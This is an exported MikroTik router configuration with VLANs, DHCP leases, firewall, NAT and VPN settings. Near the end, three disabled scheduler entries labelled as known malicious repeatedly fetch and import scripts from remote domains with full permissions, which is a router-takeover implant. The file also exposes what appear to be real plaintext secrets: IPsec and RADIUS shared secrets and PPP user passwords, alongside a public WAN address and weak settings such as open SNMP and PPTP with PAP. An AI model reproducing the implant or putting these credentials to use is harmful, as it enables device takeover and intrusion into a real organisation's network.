model = RouterBOARD 3011UiAS
# serial number = 780E069725B6
/interface bridge
add admin-mac=6C:3B:6B:FB:EC:0E auto-mac=no comment=defconf fast-forward=no \
    name=bridge
add name=bridge2
/interface ethernet
set [ find default-name=ether1 ] speed=100Mbps
set [ find default-name=ether2 ] name=ether2-master speed=100Mbps
set [ find default-name=ether3 ] speed=100Mbps
set [ find default-name=ether4 ] speed=100Mbps
set [ find default-name=ether5 ] speed=100Mbps
set [ find default-name=ether6 ] name=ether6-master speed=100Mbps
set [ find default-name=ether7 ] speed=100Mbps
set [ find default-name=ether8 ] speed=100Mbps
set [ find default-name=ether9 ] speed=100Mbps
set [ find default-name=ether10 ] poe-out=off speed=100Mbps
set [ find default-name=sfp1 ] advertise=\
    10M-half,10M-full,100M-half,100M-full,1000M-half,1000M-full
/interface vlan
add interface=ether2-master name=VLAN-30 vlan-id=30
add comment=Management interface=ether1 name=VLAN1 vlan-id=1
add comment=Hosts interface=ether2-master name=VLAN10 vlan-id=10
add comment=Wifi-Private interface=ether2-master name=VLAN20 vlan-id=20
add comment=DICOM-WLAN-31 interface=ether2-master name=VLAN31 vlan-id=31
add comment=Wifi-Rigi interface=ether2-master name=VLAN40 vlan-id=40
add comment=Entrance interface=ether2-master name=VLAN50 vlan-id=50
add comment=NVRs interface=ether2-master name=VLAN60 vlan-id=60
add comment=Services interface=ether2-master name=VLAN100 vlan-id=100
/interface list
add exclude=dynamic name=discover
add name=mactel
add name=mac-winbox
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/ip hotspot profile
set [ find default=yes ] login-by=""
/ip hotspot user profile
set [ find default=yes ] add-mac-cookie=no idle-timeout=15h keepalive-timeout=\
    3h session-timeout=15h shared-users=unlimited status-autorefresh=10m
/ip ipsec profile
add dh-group=modp1024 enc-algorithm=3des name=profile_1 nat-traversal=no
/ip ipsec peer
add address=91.151.129.245/32 name=peer2 profile=profile_1
/ip ipsec proposal
add enc-algorithms=3des lifetime=1h name=geocell pfs-group=none
/ip pool
add name=vpn ranges=192.168.89.2-192.168.89.255
add name=dhcp_pool2 ranges=192.168.50.20-192.168.50.240
add name=dhcp_pool3 ranges=172.17.0.20-172.17.254.240
add name=dhcp_pool4 ranges=192.168.20.20-192.168.20.240
add name=pool6060 ranges=192.168.60.20-192.168.60.240
add name=dhcp_pool1 ranges=192.168.1.50-192.168.3.254
add name=dhcp_pool29 ranges=10.77.0.2-10.77.0.254
add name=dhcp_pool30 ranges=10.77.0.2-10.77.0.254
add name=dhcp_pool33 ranges=192.168.70.2-192.168.255.254
add name=dhcp_pool34 ranges=192.168.5.2-192.168.5.254
add name=dhcp_pool35 ranges=192.168.70.2-192.168.70.254
add name=l2tp-pool ranges=192.168.90.2-192.168.90.255
/ip dhcp-server
add address-pool=dhcp_pool2 authoritative=after-2sec-delay disabled=no \
    interface=VLAN50 name=dhcp2
add address-pool=dhcp_pool4 authoritative=after-2sec-delay disabled=no \
    interface=VLAN20 name=dhcp4
add address-pool=pool6060 authoritative=after-2sec-delay disabled=no interface=\
    VLAN60 name=nvrs
add address-pool=dhcp_pool1 authoritative=after-2sec-delay disabled=no \
    interface=VLAN100 name=dhcp1
add address-pool=dhcp_pool30 disabled=no interface=VLAN40 name=dhcp6
add address-pool=dhcp_pool34 disabled=no interface=VLAN-30 name=dhcp3
add address-pool=dhcp_pool35 disabled=no interface=bridge2 name=dhcp5
/ppp profile
add dns-server=8.8.8.8 local-address=192.168.89.1 name=vpn1 remote-address=vpn
add dns-server=8.8.8.8 local-address=192.168.90.1 name=l2tp-profile \
    remote-address=l2tp-pool
set *FFFFFFFE dns-server=8.8.8.8 local-address=192.168.89.1 remote-address=vpn \
    wins-server=8.8.4.4
/queue simple
add disabled=yes limit-at=2M/2M max-limit=2M/2M name=queue1 target=VLAN-30
/snmp community
set [ find default=yes ] addresses=0.0.0.0/0
/interface bridge port
add bridge=bridge comment=defconf interface=ether2-master
add bridge=bridge comment=defconf interface=ether6-master
add bridge=bridge comment=defconf hw=no interface=sfp1
add bridge=bridge interface=ether4
add bridge=bridge interface=ether5
add bridge=bridge interface=ether7
add bridge=bridge interface=ether8
add bridge=bridge interface=ether9
add bridge=bridge2 interface=ether10
/interface bridge settings
set use-ip-firewall=yes
/ip neighbor discovery-settings
set discover-interface-list=discover
/interface l2tp-server server
set allow-fast-path=yes authentication=mschap1,mschap2 default-profile=\
    l2tp-profile ipsec-secret=100200300 max-mru=1460 max-mtu=1460 use-ipsec=\
    required
/interface list member
add interface=ether2-master list=discover
add interface=ether3 list=discover
add interface=ether4 list=discover
add interface=ether5 list=discover
add interface=sfp1 list=discover
add interface=ether6-master list=discover
add interface=ether7 list=discover
add interface=ether8 list=discover
add interface=ether9 list=discover
add interface=ether10 list=discover
add interface=bridge list=discover
add interface=VLAN100 list=discover
add interface=VLAN10 list=discover
add interface=VLAN20 list=discover
add list=discover
add interface=VLAN40 list=discover
add interface=VLAN50 list=discover
add interface=VLAN60 list=discover
add interface=VLAN1 list=discover
add interface=VLAN31 list=discover
add interface=bridge list=mactel
add interface=bridge list=mac-winbox
/interface pptp-server server
set authentication=pap,chap,mschap1,mschap2 enabled=yes
/interface sstp-server server
set default-profile=default-encryption enabled=yes
/ip address
add address=192.168.0.1/24 comment=LAN interface=ether2-master network=\
    192.168.0.0
add address=178.134.248.178/30 comment=WAN interface=ether1 network=\
    178.134.248.176
add address=192.168.1.1/22 comment=Services interface=VLAN100 network=\
    192.168.0.0
add address=192.168.0.1/24 comment=Management disabled=yes interface=VLAN1 \
    network=192.168.0.0
add address=192.168.10.1 comment=Hosts interface=VLAN10 network=192.168.10.0
add address=192.168.20.1/24 comment=Wifi-Private interface=VLAN20 network=\
    192.168.20.0
add address=10.77.0.1/24 comment=Wifi-Rigi interface=VLAN40 network=10.77.0.0
add address=192.168.50.1/24 comment=Entrance interface=VLAN50 network=\
    192.168.50.0
add address=192.168.60.1/24 comment=NVRs interface=VLAN60 network=192.168.60.0
add address=192.168.43.74/24 comment="Backup ISP" disabled=yes interface=\
    ether10 network=192.168.43.0
add address=192.168.70.1/16 disabled=yes interface=VLAN31 network=192.168.0.0
add address=192.168.5.1/24 comment=Wifi-Rigi interface=VLAN-30 network=\
    192.168.5.0
add address=192.168.70.1/24 interface=ether1 network=192.168.70.0
add address=192.168.70.1/24 interface=bridge2 network=192.168.70.0
/ip cloud
set ddns-enabled=yes
/ip dhcp-relay
add dhcp-server=192.168.1.252 interface=VLAN40 name=VLAN40
add dhcp-server=192.168.1.252 interface=VLAN1 name=VLAN1
add dhcp-server=192.168.1.252 interface=VLAN10 name=VLAN10
add dhcp-server=192.168.1.252 interface=VLAN20 name=VLAN20
add dhcp-server=192.168.1.252 name=VLAN30
add dhcp-server=192.168.1.252 interface=VLAN50 name=VLAN50
add dhcp-server=192.168.1.252 interface=VLAN60 name=VLAN60
add dhcp-server=192.168.1.252 interface=VLAN100 name=VLAN100
/ip dhcp-server lease
add address=192.168.50.20 client-id=1:0:c:29:21:94:79 mac-address=\
    00:0C:29:21:94:79 server=dhcp2
add address=192.168.2.7 client-id=1:d8:50:e6:b6:e4:8e mac-address=\
    D8:50:E6:B6:E4:8E
add address=192.168.20.97 client-id=1:4a:4d:7e:9c:c9:9e mac-address=\
    90:CD:B6:34:C1:2F server=dhcp4
add address=192.168.1.86 mac-address=00:0C:29:55:4E:4E server=dhcp1
add address=192.168.20.71 always-broadcast=yes client-id=1:90:cd:b6:34:c0:33 \
    mac-address=90:CD:B6:34:C0:33 server=dhcp4
add address=192.168.20.152 mac-address=10:D0:7A:EC:A9:08 server=dhcp4
add address=192.168.20.67 mac-address=00:22:F4:F2:CB:27 server=dhcp4
add address=192.168.20.128 mac-address=00:22:F4:F2:EC:CA server=dhcp4
add address=192.168.20.46 always-broadcast=yes mac-address=00:22:F4:F2:E8:1D \
    server=dhcp4
add address=192.168.20.48 always-broadcast=yes client-id=1:90:cd:b6:34:c0:41 \
    mac-address=90:CD:B6:34:C0:41 server=dhcp4
add address=192.168.20.134 client-id=1:0:11:65:88:cf:cf mac-address=\
    00:11:65:88:CF:CF server=dhcp4
add address=192.168.20.183 mac-address=00:22:F4:A9:3E:0C server=dhcp4
add address=192.168.20.171 mac-address=00:22:F4:F4:0F:6D server=dhcp4
add address=192.168.2.40 client-id=1:34:64:a9:6a:cc:85 mac-address=\
    34:64:A9:6A:CC:85 server=dhcp1
add address=192.168.20.155 mac-address=00:22:F4:F3:3C:18 server=dhcp4
add address=192.168.3.10 client-id=1:0:26:8b:2:1c:18 mac-address=\
    00:26:8B:02:1C:18 server=dhcp1
add address=192.168.20.68 always-broadcast=yes client-id=1:90:cd:b6:34:c0:3d \
    mac-address=90:CD:B6:34:C0:3D server=dhcp4
add address=192.168.20.95 client-id=1:90:cd:b6:34:c1:13 mac-address=\
    90:CD:B6:34:C1:13 server=dhcp4
add address=192.168.2.230 always-broadcast=yes client-id=1:d4:3d:7e:57:ff:89 \
    mac-address=D4:3D:7E:57:FF:89 server=dhcp1
add address=192.168.2.58 client-id=1:48:4d:7e:9c:c9:8a mac-address=\
    48:4D:7E:9C:C9:8A server=dhcp1
add address=192.168.20.37 mac-address=38:A2:8C:70:2D:69 server=dhcp4
add address=192.168.20.108 mac-address=00:22:F4:F2:EA:CA server=dhcp4
add address=192.168.20.76 always-broadcast=yes client-id=1:0:e0:32:2e:83:3 \
    mac-address=00:E0:32:2E:83:03 server=dhcp4
add address=192.168.20.54 client-id=1:90:cd:b6:34:c0:3f mac-address=\
    90:CD:B6:34:C0:3F server=dhcp4
add address=192.168.1.206 client-id=1:0:26:8b:8:d9:93 mac-address=\
    00:26:8B:08:D9:93 server=dhcp1
add address=192.168.1.91 client-id=1:c:38:3e:22:6c:44 mac-address=\
    0C:38:3E:22:6C:44 server=dhcp1
add address=192.168.1.94 client-id=1:c:38:3e:22:6c:69 mac-address=\
    0C:38:3E:22:6C:69 server=dhcp1
add address=192.168.1.88 client-id=1:d4:3d:7e:3:8:14 mac-address=\
    D4:3D:7E:03:08:14 server=dhcp1
add address=192.168.1.53 client-id=1:f4:8e:38:86:4:3d mac-address=\
    F4:8E:38:86:04:3D server=dhcp1
add address=192.168.2.48 client-id=1:60:a4:4c:5a:5e:4a mac-address=\
    60:A4:4C:5A:5E:4A server=dhcp1
add address=192.168.1.78 client-id=1:8c:89:a5:c8:d8:b2 mac-address=\
    8C:89:A5:C8:D8:B2 server=dhcp1
add address=192.168.1.59 client-id=1:8c:89:a5:c8:e0:6 mac-address=\
    8C:89:A5:C8:E0:06 server=dhcp1
add address=192.168.20.192 client-id=1:90:cd:b6:34:89:cf mac-address=\
    90:CD:B6:34:89:CF server=dhcp4
add address=192.168.2.178 client-id=1:f4:8e:38:ba:0:7d mac-address=\
    F4:8E:38:BA:00:7D server=dhcp1
add address=192.168.2.110 client-id=\
    ff:9f:6e:85:24:0:2:0:0:ab:11:7e:e5:4a:6b:3e:1c:a3:40 mac-address=\
    00:0C:29:1F:F1:FF server=dhcp1
add address=192.168.60.20 client-id=1:e0:3f:49:52:83:1e mac-address=\
    E0:3F:49:52:83:1E server=nvrs
add address=192.168.1.186 client-id=1:48:4d:7e:9c:c9:9e mac-address=\
    48:4D:7E:9C:C9:9E server=dhcp1
add address=192.168.1.62 client-id=1:c:38:3e:1a:e4:55 mac-address=\
    04:18:D6:80:A5:44 server=dhcp1
add address=10.77.0.14 mac-address=38:A2:8C:6E:B2:99 server=dhcp6
add address=192.168.3.20 client-id=1:b0:6e:bf:80:d0:19 mac-address=\
    B0:6E:BF:80:D0:19 server=dhcp1
add address=192.168.1.219 client-id=1:74:46:a0:ba:af:89 mac-address=\
    74:46:A0:BA:AF:89 server=dhcp1
add address=192.168.1.109 mac-address=3C:A8:2A:07:69:BB server=dhcp1
add address=192.168.1.117 client-id=1:bc:ee:7b:73:37:ba mac-address=\
    BC:EE:7B:73:37:BA server=dhcp1
add address=192.168.1.178 client-id=1:b0:6e:bf:80:d1:82 mac-address=\
    B0:6E:BF:80:D1:82 server=dhcp1
add address=192.168.1.215 client-id=1:0:25:22:74:9e:cc mac-address=\
    00:25:22:74:9E:CC server=dhcp1
add address=192.168.1.77 client-id=1:c:38:3e:1a:e4:52 mac-address=\
    0C:38:3E:1A:E4:52 server=dhcp1
add address=192.168.1.60 client-id=1:e0:3f:49:52:83:4 mac-address=\
    E0:3F:49:52:83:04 server=dhcp1
add address=192.168.1.76 client-id=1:0:25:b3:ca:75:25 mac-address=\
    00:25:B3:CA:75:25 server=dhcp1
add address=192.168.1.105 client-id=1:0:c:29:47:c5:55 mac-address=\
    00:0C:29:47:C5:55 server=dhcp1
add address=10.77.0.11 client-id=1:2c:27:d7:19:3a:91 mac-address=\
    2C:27:D7:19:3A:91 server=dhcp6
add address=192.168.1.123 client-id=1:8:60:6e:d5:ea:6d mac-address=\
    08:60:6E:D5:EA:6D server=dhcp1
add address=192.168.1.165 client-id=1:8:60:6e:73:e4:14 mac-address=\
    08:60:6E:73:E4:14 server=dhcp1
add address=192.168.1.163 client-id=1:6c:2b:59:ee:cf:55 mac-address=\
    6C:2B:59:EE:CF:55 server=dhcp1
add address=192.168.1.166 client-id=1:74:46:a0:ba:a8:ea mac-address=\
    74:46:A0:BA:A8:EA server=dhcp1
add address=10.77.0.7 client-id=1:2c:27:d7:19:0:30 mac-address=\
    2C:27:D7:19:00:30 server=dhcp6
add address=10.77.0.126 client-id=1:a0:36:bc:2a:8e:b mac-address=\
    A0:36:BC:2A:8E:0B server=dhcp6
add address=192.168.1.104 client-id=1:a0:36:bc:2a:8e:b mac-address=\
    A0:36:BC:2A:8E:0B server=dhcp1
add address=192.168.1.67 mac-address=D8:49:2F:62:8C:5F server=dhcp1
add address=192.168.1.127 client-id=1:a0:36:bc:2a:8d:be mac-address=\
    A0:36:BC:2A:8D:BE server=dhcp1
add address=192.168.1.102 client-id=1:0:c:29:5:3e:98 mac-address=\
    00:0C:29:05:3E:98 server=dhcp1
add address=192.168.1.191 client-id=1:90:2b:34:32:12:30 comment=\
    LABI-IP-191-WIN10 mac-address=90:2B:34:32:12:30 server=dhcp1
add address=192.168.1.103 client-id=1:0:c:29:17:c4:82 mac-address=\
    00:0C:29:17:C4:82 server=dhcp1
add address=192.168.1.92 client-id=1:c:38:3e:45:ba:ae mac-address=\
    0C:38:3E:45:BA:AE server=dhcp1
/ip dhcp-server network
add address=10.1.0.0/16 gateway=10.1.0.1
add address=10.77.0.0/24 dns-server=8.8.8.8,8.8.4.4 gateway=10.77.0.1
add address=172.17.0.0/16 gateway=172.17.0.1
add address=192.168.0.0/22 gateway=192.168.1.1
add address=192.168.0.0/16 dns-server=8.8.8.8 gateway=192.168.70.1
add address=192.168.1.0/24 gateway=192.168.1.1
add address=192.168.5.0/24 gateway=192.168.5.1
add address=192.168.20.0/24 gateway=192.168.20.1
add address=192.168.40.0/22 dns-server=8.8.8.8,8.8.4.4 gateway=192.168.40.1
add address=192.168.50.0/24 gateway=192.168.50.1
add address=192.168.60.0/24 gateway=192.168.60.1
add address=192.168.70.0/24 gateway=192.168.70.1
/ip dns
set allow-remote-requests=yes servers=87.253.32.130,87.253.32.130,1.1.1.1
/ip dns static
add address=192.168.0.253 name=router
/ip firewall address-list
add address=www.europebet.com list=www.europebet.com
add address=europebet.com list=europebet.com
add address=www.Crystalbet.com list=www.Crystalbet.com
add address=Crystalbet.com list=Crystalbet.com
add address=Liderbet.com list=Liderbet.com
add address=www.Liderbet.com list=www.Liderbet.com
add address=www.adjarabet.com list=www.adjarabet.com
add address=adjarabet.com list=adjarabet.com
add address=crocobet.com list=crocobet.com
add address=www.crocobet.com list=www.crocobet.com
add address=46.49.86.133 list="9090 Access"
/ip firewall filter
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=500,4500,1701 protocol=udp \
    src-port=""
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=input disabled=yes dst-port=5678 protocol=tcp
add action=accept chain=forward dst-address=192.168.1.254 src-address=\
    192.168.3.254
add action=accept chain=forward dst-address=192.168.3.254 src-address=\
    192.168.1.254
add action=drop chain=forward disabled=yes dst-address=192.168.3.254 \
    src-address=192.168.0.0/22
add action=drop chain=forward comment=GUEST-block dst-address=\
    192.0.0.1-192.168.100.254 src-address=192.168.5.0-192.168.5.254
add action=drop chain=forward disabled=yes dst-address=192.168.60.0/24 \
    src-address=192.168.5.0/24
add action=drop chain=forward disabled=yes dst-address=192.168.40.0/24 \
    src-address=192.168.5.0/24
add action=drop chain=forward disabled=yes dst-address=192.168.50.0/24 \
    src-address=192.168.5.0/24
add action=drop chain=forward disabled=yes dst-address=192.168.5.0/24 \
    src-address=192.168.100.0/24
add action=accept chain=input disabled=yes dst-port=8586 protocol=tcp
add action=accept chain=input disabled=yes dst-port=8840 protocol=tcp
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.20.183
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.20.128
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.20.197
add action=accept chain=forward disabled=yes dst-address=91.233.15.162 \
    src-address=192.168.2.52
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.20.182
add action=accept chain=forward disabled=yes dst-address=91.233.15.162 \
    src-address=192.168.3.145
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.20.108
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.20.155
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.20.54
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.20.104
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.89.253
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=146.255.227.58
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.20.33
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.20.171
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.60.20
add action=accept chain=input dst-port=5678 protocol=tcp
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.20.46
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.20.152
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.20.99
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.20.67
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.20.48
add action=accept chain=forward disabled=yes dst-address=192.168.1.86 \
    src-address=192.168.20.192
add action=drop chain=forward disabled=yes dst-address=172.17.0.0/16
add action=passthrough chain=unused-hs-chain comment="place hotspot rules here" \
    disabled=yes
add action=accept chain=input comment="NEW web" dst-address=178.134.248.178 \
    src-address=91.212.213.32
add action=accept chain=input comment="goga home" disabled=yes dst-address=\
    178.134.248.178 src-address=188.129.134.32
add action=accept chain=input comment="prog home" disabled=yes dst-address=\
    178.134.248.178 src-address=46.49.50.69
add action=accept chain=input dst-address=178.134.248.178 src-address=\
    91.151.129.245
add action=accept chain=input comment="allow pptp" dst-port=1723 protocol=tcp
add action=accept chain=input comment=sda disabled=yes dst-address=\
    178.134.248.178 protocol=tcp src-address=5.159.22.66
add action=accept chain=input src-address=82.211.154.80
add action=accept chain=input src-address=46.49.74.94
add action=accept chain=input dst-port=8291 protocol=tcp src-address=\
    5.10.34.129
add action=accept chain=input dst-port=80 protocol=tcp src-address=5.10.34.129
add action=accept chain=input dst-port=21 protocol=tcp src-address=5.10.34.129
add action=accept chain=input dst-port=22 protocol=tcp src-address=5.10.34.129
add action=accept chain=input dst-port=23 protocol=tcp src-address=5.10.34.129
add action=accept chain=input dst-port=8291 protocol=tcp src-address=\
    192.168.1.0/24
add action=accept chain=input dst-port=80 protocol=tcp src-address=\
    192.168.1.0/24
add action=accept chain=input dst-port=21 protocol=tcp src-address=\
    192.168.1.0/24
add action=accept chain=input dst-port=22 protocol=tcp src-address=\
    192.168.1.0/24
add action=accept chain=input dst-port=23 protocol=tcp src-address=\
    192.168.1.0/24
add action=accept chain=input comment="accept ICMP" protocol=icmp
add action=accept chain=input comment="accept established,related" \
    connection-state=established,related
add action=drop chain=input comment="Drop all from WAN" disabled=yes \
    in-interface=ether1
add action=fasttrack-connection chain=forward comment=fasttrack \
    connection-state=established,related
add action=drop chain=forward comment="drop invalid" connection-state=invalid \
    disabled=yes
add action=drop chain=forward comment="drop all from WAN not DSTNATed" \
    connection-nat-state=!dstnat connection-state=new in-interface=ether1
add action=drop chain=forward disabled=yes dst-address-list=Crystalbet.com
add action=drop chain=forward dst-address-list=185.49.166.133
add action=drop chain=forward comment=DICOM-device src-address=192.168.3.249
add action=drop chain=forward disabled=yes dst-address-list=Liderbet.com
add action=drop chain=forward disabled=yes dst-address-list=europebet.com
add action=drop chain=forward disabled=yes dst-address-list=www.Liderbet.com
add action=drop chain=forward disabled=yes dst-address-list=www.europebet.com
add action=drop chain=forward disabled=yes dst-address-list=europebet.com
add action=drop chain=forward disabled=yes dst-address-list=www.Crystalbet.com
add action=drop chain=forward dst-address-list=www.betlive.com/ka
add action=drop chain=forward dst-address-list=adjarabet.com
add action=drop chain=forward dst-address-list=www.adjarabet.com
add action=drop chain=forward disabled=yes dst-address-list=www.crocobet.com
add action=drop chain=forward disabled=yes dst-address-list=crocobet.com
add action=drop chain=forward comment="192.168.20.192  drop" disabled=yes \
    src-mac-address=90:CD:B6:34:89:CF
/ip firewall nat
add action=passthrough chain=unused-hs-chain comment="place hotspot rules here" \
    disabled=yes
add action=masquerade chain=srcnat comment="masq. vpn traffic" disabled=yes \
    src-address=12.12.12.0-12.12.12.254
add action=dst-nat chain=dstnat dst-port=8088 protocol=tcp src-address=\
    82.211.154.80 to-addresses=192.168.1.250 to-ports=80
add action=dst-nat chain=dstnat dst-port=2222 protocol=tcp src-address=\
    82.211.154.80 to-addresses=192.168.1.250 to-ports=22
add action=masquerade chain=srcnat comment=WAN out-interface=ether1
add action=dst-nat chain=dstnat dst-address=178.134.248.178 dst-port=1433 \
    protocol=tcp to-addresses=192.168.1.222 to-ports=1433
add action=dst-nat chain=dstnat disabled=yes dst-address=178.134.248.178 \
    dst-port=8000 protocol=tcp to-addresses=192.168.1.245 to-ports=8000
add action=dst-nat chain=dstnat dst-address=178.134.248.178 dst-port=8001 \
    protocol=tcp to-addresses=192.168.1.245 to-ports=8001
add action=dst-nat chain=dstnat comment="ONE CAMERA " dst-port=8888 protocol=\
    tcp to-addresses=192.168.1.64 to-ports=8888
add action=dst-nat chain=dstnat disabled=yes dst-port=88 protocol=tcp \
    to-addresses=192.168.1.64 to-ports=88
add action=dst-nat chain=dstnat comment="NVR ivms 4500" dst-port=8002 protocol=\
    tcp to-addresses=192.168.60.102 to-ports=8002
add action=dst-nat chain=dstnat dst-port=8010 protocol=tcp to-addresses=\
    192.168.60.100 to-ports=8010
add action=dst-nat chain=dstnat dst-port=8004 protocol=tcp to-addresses=\
    192.168.60.104 to-ports=8004
add action=dst-nat chain=dstnat dst-port=8011 protocol=tcp to-addresses=\
    192.168.60.101 to-ports=8011
add action=dst-nat chain=dstnat dst-port=8005 protocol=tcp to-addresses=\
    192.168.60.105 to-ports=8005
add action=dst-nat chain=dstnat comment=1.222 dst-port=8000 protocol=tcp \
    to-addresses=192.168.1.222 to-ports=8000
add action=dst-nat chain=dstnat dst-port=8006 protocol=tcp to-addresses=\
    192.168.60.106 to-ports=8006
add action=dst-nat chain=dstnat dst-port=8007 protocol=tcp to-addresses=\
    192.168.60.107 to-ports=8007
add action=dst-nat chain=dstnat dst-port=8003 protocol=tcp to-addresses=\
    192.168.60.103 to-ports=8003
add action=dst-nat chain=dstnat dst-port=8082 protocol=tcp to-addresses=\
    192.168.2.110 to-ports=8088
add action=dst-nat chain=dstnat dst-port=8083 protocol=tcp to-addresses=\
    192.168.2.110 to-ports=22
add action=dst-nat chain=dstnat dst-port=8081 protocol=tcp to-addresses=\
    192.168.2.110 to-ports=87
add action=dst-nat chain=dstnat comment="Web service" dst-port=20000 protocol=\
    tcp to-addresses=192.168.1.222 to-ports=20000
add action=dst-nat chain=dstnat comment="Web service" dst-port=40000 protocol=\
    tcp to-addresses=192.168.1.222 to-ports=40000
add action=dst-nat chain=dstnat comment="Web service" disabled=yes dst-port=80 \
    protocol=tcp to-addresses=192.168.1.222 to-ports=80
add action=dst-nat chain=dstnat comment="Web service" dst-port=40001 protocol=\
    tcp to-addresses=192.168.1.222 to-ports=40001
add action=dst-nat chain=dstnat comment=Ftpuseer dst-port=9090 protocol=tcp \
    to-addresses=192.168.1.235 to-ports=9090
add action=dst-nat chain=dstnat comment=Ftpuseer dst-port=9091 protocol=tcp \
    to-addresses=192.168.1.235 to-ports=9091
add action=masquerade chain=srcnat src-address=10.0.0.0/8
/ip firewall raw
add action=drop chain=prerouting content=windowsupdate.microsoft.com
add action=drop chain=prerouting content=windowsupdate.microsoft.com
add action=drop chain=prerouting content=windowsupdate.microsoft.com
add action=drop chain=prerouting content=update.microsoft.com
add action=drop chain=prerouting content=update.microsoft.com
add action=drop chain=prerouting content=windowsupdate.com
add action=drop chain=prerouting content=download.microsoft.com
add action=drop chain=prerouting content=download.windowsupdate.com
add action=drop chain=prerouting content=wustat.windows.com
add action=drop chain=prerouting content=ntservicepack.microsoft.com
add action=drop chain=prerouting content=go.microsoft.com
add action=drop chain=prerouting content=dl.delivery.mp.microsoft.com
add action=drop chain=prerouting content=ws.microsoft.com
add action=drop chain=prerouting content=ws.microsoft.com
add action=drop chain=prerouting content=mp.microsoft.com
/ip firewall service-port
set sip disabled=yes
/ip ipsec identity
add peer=peer2 secret=GaL34d#Rv&n4*4tq%i#p7sU^t2Fyx
/ip ipsec policy
add dst-address=91.151.128.64/32 proposal=geocell sa-dst-address=91.151.129.245 \
    sa-src-address=178.134.248.178 src-address=178.134.248.178/32 tunnel=yes
/ip route
add distance=1 gateway=178.134.248.177
add disabled=yes distance=2 gateway=192.168.43.1
/ip service
set telnet disabled=yes
set ftp disabled=yes
set www disabled=yes port=9697
set ssh disabled=yes port=22515
set api disabled=yes
set winbox port=9559
set api-ssl disabled=yes
/ip socks
set max-connections=500
/ppp secret
add name=irakli password=irakli@dmin
add name=goga password=ZAQ!2wsxGg
add name=db password=#tbilisi#
add name=gagua password=#tbilisi#
add name=natia password=natianatia
add name=nakaidze password=tbilisi123 service=pptp
/radius
add address=18.194.30.62 secret=Wifisher_RadiusSharedSec990 service=hotspot
/system clock
set time-zone-name=Asia/Tbilisi
/system scheduler
add comment="Disabled as known malicious configuration" disabled=yes interval=\
    15s name=U7 on-event="/tool fetch url=http://specialword.xyz/poll/db2dd31f-2\
    c4e-4e14-8b63-8306e4ec485f mode=http dst-path=7xe7zt46hb08\r\
    \n/import 7xe7zt46hb08" policy=\
    ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
    startup
add comment="Disabled as known malicious configuration" disabled=yes interval=\
    3m name=U7 on-event="/tool fetch url=http://portgame.website/poll/db2dd31f-2\
    c4e-4e14-8b63-8306e4ec485f mode=http dst-path=7xe7zt46hb08\r\
    \n/import 7xe7zt46hb08" policy=\
    ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
    startup
add comment="Disabled as known malicious configuration" disabled=yes interval=\
    10m name=NT on-event="/tool fetch url=http://e8f389b52f74826ab9f366d9c95aedf\
    7.entryglory.com/poll/db2dd31f-2c4e-4e14-8b63-8306e4ec485f mode=http dst-pat\
    h=updater.rsc\r\
    \n/import updater.rsc\r\
    \n/file remomve updater.rsc" policy=\
    ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
    sep/14/2021 start-time=15:32:12
/tool mac-server
set allowed-interface-list=mactel
/tool mac-server mac-winbox
set allowed-interface-list=mac-winbox
/tool traffic-monitor
add disabled=yes interface=ether1 name=tmon1 threshold=0 trigger=always
